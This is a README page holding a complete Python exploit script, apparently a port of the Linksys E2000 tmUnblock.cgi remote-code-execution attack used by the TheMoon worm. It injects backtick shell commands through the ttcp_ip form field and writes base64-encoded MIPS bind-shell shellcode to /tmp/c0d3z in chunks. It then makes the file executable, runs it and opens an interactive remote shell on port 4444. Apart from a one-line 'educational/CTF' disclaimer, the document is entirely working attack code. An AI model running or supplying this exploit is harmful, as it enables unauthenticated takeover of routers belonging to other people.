README.md
Rendering markdown...
#!/usr/bin/env python3
"""
Python port of the Linksys E2000 unauthenticated RCE exploit.
Originally exploited by TheMoon worm (Feb 2013, discovered by Johannes Ullrich).
Vulnerable endpoint: tmUnblock.cgi / hndUnblock.cgi
For educational/CTF use only. Run against your own devices.
"""
import socket
import base64
import time
import sys
HOST = "192.168.8.100"
PORT = 80
VULN = "tmUnblock.cgi" # hndUnblock.cgi works too
# msfpayload linux/mipsle/shell_bind_tcp LPORT=4444 X
SHELLCODE = base64.b64decode(
"f0VMRgEBAQAAAAAAAAAAAAIACAABAAAAVABAADQAAAAAAAAAAA"
"AAADQAIAABAAAAAAAAAAEAAAAAAAAAAABAAAAAQAB7AQAAogIA"
"AAcAAAAAEAAA4P+9J/3/DiQnIMABJyjAAf//BihXEAIkDAEBAV"
"BzDyT//1Aw7/8OJCdwwAERXA0kBGjNAf/9DiQncMABJWiuAeD/"
"ra/k/6Cv6P+gr+z/oK8lIBAC7/8OJCcwwAHg/6UjSRACJAwBAQ"
"FQcw8kJSAQAgEBBSROEAIkDAEBAVBzDyQlIBAC//8FKP//BihI"
"EAIkDAEBAVBzDyT//1AwJSAQAv3/DyQnKOAB3w8CJAwBAQFQcw"
"8kJSAQAgEBBSjfDwIkDAEBAVBzDyQlIBAC//8FKN8PAiQMAQEB"
"UHMPJFBzBiT//9AEUHMPJP//BijH/w8kJ3jgASEg7wPw/6Sv9P"
"+gr/f/DiQncMABIWDvAyFojgH//6Ct8P+lI6sPAiQMAQEBL2Jp"
"bi9zaA=="
)
def full_urlencode(s: str) -> str:
"""Encode every character except & as %XX hex."""
result = ""
for ch in s:
if ch != '&':
result += f"%{ord(ch):02x}"
else:
result += "&"
return result
def build_packet(host: str, port: int, vuln: str, payload: str) -> bytes:
"""Construct the raw HTTP POST exploit packet."""
body = full_urlencode(
"submit_button=&"
"change_action=&"
"submit_type=&"
"action=&"
"commit=0&"
"ttcp_num=2&"
"ttcp_size=2&"
f"ttcp_ip=-h `{payload}`&"
"StartEPI=1"
)
auth = base64.b64encode(b"admin:ThisCanBeAnything").decode()
packet = (
f"POST /{vuln} HTTP/1.1\r\n"
f"Host: {host}\r\n"
f"Authorization: Basic {auth}\r\n"
f"Content-Type: application/x-www-form-urlencoded\r\n"
f"Content-Length: {len(body)}\r\n"
f"\r\n"
f"{body}"
)
return packet.encode()
def send_packet(host: str, port: int, packet: bytes) -> bool:
"""Send a raw TCP packet to the target."""
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(10)
s.connect((host, port))
s.sendall(packet)
s.close()
return True
except Exception:
return False
def build_payload(host: str, port: int, vuln: str, shellcode: bytes):
"""Stage shellcode onto /tmp/c0d3z in 20-byte chunks."""
print("\tCleaning up... ", end="", flush=True)
pkt = build_packet(host, port, vuln, "rm /tmp/c0d3z")
if not send_packet(host, port, pkt):
sys.exit("fail")
print("done!")
for i in range(0, len(shellcode), 20):
print(f"\tSending {i}/{len(shellcode)} bytes... ", end="", flush=True)
chunk = shellcode[i:i+20]
cmd = "echo -en '"
for byte in chunk:
cmd += f"\\0{oct(byte)[2:]}"
cmd += "' >> /tmp/c0d3z"
pkt = build_packet(host, port, vuln, cmd)
if not send_packet(host, port, pkt):
sys.exit("fail")
print("sent!")
time.sleep(0.1)
print("\tConfiguring... ", end="", flush=True)
pkt = build_packet(host, port, vuln, "chmod a+rwx /tmp/c0d3z")
if not send_packet(host, port, pkt):
sys.exit("fail")
print("done!")
def interactive_shell(sock: socket.socket, host: str):
"""Simple interactive shell over the bind socket."""
print("Opening shell...\n")
while True:
try:
cmd = input(f"{host}$ ")
except EOFError:
break
if not cmd:
continue
try:
sock.sendall((cmd + ";echo xxxEOFxxx\n").encode())
data = b""
while b"xxxEOFxxx" not in data:
chunk = sock.recv(1)
if not chunk:
break
data += chunk
output = data.replace(b"xxxEOFxxx", b"").decode(errors="replace")
print(output, end="")
except Exception as e:
print(f"Shell error: {e}")
break
def main():
print(f"Testing connection to {HOST}:{PORT}... ", end="", flush=True)
try:
s = socket.create_connection((HOST, PORT), timeout=30)
s.close()
print("connected!")
except Exception:
sys.exit("fail")
print("Sending payload...")
build_payload(HOST, PORT, VULN, SHELLCODE)
time.sleep(3)
print("Executing payload... ", end="", flush=True)
pkt = build_packet(HOST, PORT, VULN, "/tmp/c0d3z")
if not send_packet(HOST, PORT, pkt):
sys.exit("fail")
print("done!")
time.sleep(3)
print("Attempting to get a shell... ", end="", flush=True)
try:
shell_sock = socket.create_connection((HOST, 4444), timeout=30)
print("connected!")
except Exception:
sys.exit("fail")
interactive_shell(shell_sock, HOST)
shell_sock.close()
if __name__ == "__main__":
main()